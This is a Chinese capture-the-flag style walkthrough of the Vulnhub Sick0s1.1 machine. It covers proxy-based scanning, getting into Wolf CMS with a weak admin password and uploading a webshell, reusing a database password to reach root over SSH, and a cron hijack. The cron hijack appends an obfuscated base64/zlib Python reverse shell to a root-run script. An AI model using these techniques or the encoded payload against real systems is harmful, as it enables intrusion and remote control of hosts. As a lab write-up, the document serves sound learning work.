Vulnhub-Sick0s1.1
靶机环境
macOS: 172.20.10.2
ubuntu:172.20.10.3
环境搭建
使用utm虚拟机进行搭建
最开始会报错“switched to clocksource tsc“,多次尝试修改运行内存为1g+强制多核运行后解决!
然后发现没有这台机器的ip,经过一番折腾,参照下面这两个博主的blog可以解决
https://blog.csdn.net/qq_51524329/article/details/121808404
https://blog.csdn.net/qq_51283187/article/details/119849021
成功得到ip 172.20.10.2
信息搜集
开局就遇到问题,不加sudo的情况下执行nmap命令,查不到主机端口开放情况,一度以为是自己机器出问题了,直接ping也无法ping目标机器
1 | sudo nmap --min-rate 10000 -p- 172.20.10.2 |
开放端口22,3128,8080,但8080显示是关闭状态
1 | 22端口:ssh |
查询后了解到squid是用于进行配置代理的。
该扫描结果也可以大致了解到squid是用于代理的
1 | sudo nmap -sC -O -sV -p22,3128,8080 172.20.10.2 |
直接访问172.20.10.2的界面没有什么信息
那么试试先设置浏览器代理
访问目标ip尝试,有界面产生。
尝试爆破目录,忘了参数,看一下
1 | dirsearch -u http://172.20.10.2 --proxy=172.20.10.2:3128 |
显示有一个/connect目录和robots文件,分别看看
/connect文件这里注意一下!文件内容大致意思为
1 | 尝试有规律的连接一个事物,你也许想要试试我的服务器 |
目前没有思路后续可能有用,robots.txt显示有一个wolfcms
拼接看一看
找了一下功能点,没有找到可以下手的地方,手动试了试路径,没有拼出来,再用工具爆一下
1 | dirsearch -u http://172.20.10.2/wolfcms/ --proxy=172.20.10.2:3128 |
20B大小的都是空白界面,看看大点的文件或者路径
查看后发现如下文件中存在一定信息可以利用
1 | install.txt |
其中提到了/install路径,config.php、security.php文件,尝试访问均发现已经被删除
(注意其中规定/install文件一般情况下不要直接访问,可能导致重装网站)
1 | README.md |
README.md文件中提到了cms版本号:v0.8.2,可以尝试搜索cms对应版本存在的nday
https://www.exploit-db.com/exploits/40004
漏洞利用
存在后台文件上传,后台路径为/?/admin/login/,拼接admin路径,弱口令admin进入
1 | http://172.20.10.2/wolfcms/?/admin/plugin/file_manager/view/GODphp.php |
哥斯拉初始化失败,不知道什么情况诶,代理也配置了的
改用蚁剑试试,配置代理
在主页文件处写入一个一句话🐎
连接成功
看看权限-为普通用户
提权
1 | uname -a 显示全部系统信息 |
思路一
首先当前目录尝试一下sudo提权,发现没有相关权限
查看当前目录下文件
1 | ls -la #a参数 列举出隐藏文件 |
在常用的cms中,肯定会存在前端和后端数据库交互的情况,所以必定会有数据库存在,数据库的配置文件中一般就会包含数据库的登录账号和密码,实际渗透中可以将其记录到字典中方便后续利用。
能看见当前目录下存在config.php文件。
1 | cat config.php |
存在账户root,密码john@123
1 | cat /etc/passwd |
查看passwd文件,可以看看主机中存在的账户名,分析哪些账户可能存在/bin/bash
文件的最后一个字段为命令解释。最后的sickos和我们之前查看的unmane结果一致,可以进一步尝试
ssh连接
1 | ssh sickos@172.20.10.2 # ssh 账户@ip |
成功登录
再次尝试sudo提权,输入密码即可,为root权限
1 | sudo su |
思路二
仔细翻阅/var/www目录下文件,能发现有一个connect.py文件,查看
文件内容和我们之前的connect目录内容一样,根据提示能联想到计划任务
进入etc下面看看计划任务
crontab文件下没有有用的信息
看看其他文件,其余几个都是目录,进入后查看内部文件,好像没有特别的内容
一直查看直到打开cron.d目录,下面有个automate文件,根据文件名auto开头,感觉有戏
查看文件内容
1 | * * * * * root /usr/bin/python /var/www/connect.py |
可以想到,添加反弹shell的python到文件中,通过定时任务进行反弹
将木马内容添加到conncet.py中
1 | echo "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('eNqFkEELwjAMhf9K6akD6bYieJAehkwQUcHtPlytbDibsnT/33UVe1wu4SVf3oP0HwujIwjqrR0hG0Jwau0ISiMuEuZG9sRXB+gkzXeCi4znGRf0v/ImcjvXf4IyePLQ2E8Vx+Z0LeuQFEbV7XBuqvpeFpcknnMFxmjlGPOxC+9DkogA8udkBUP+6gdtgCULla0S+SohImFlfAhXj2FgNG17k2JHky8b91Yx')[0])))" >> conncet.py |
但是写入一直失败,那么就暴力一点直接通过蚁剑来修改
主机进行监听,成功接收到shell,但是不够理想,再利用python生成一个交互性好的shell
1 | python -c "import pty;pty.spawn('/bin/bash')" |
附加
看到网上的思路中还有shellshock(bashdoor)漏洞的攻击手法。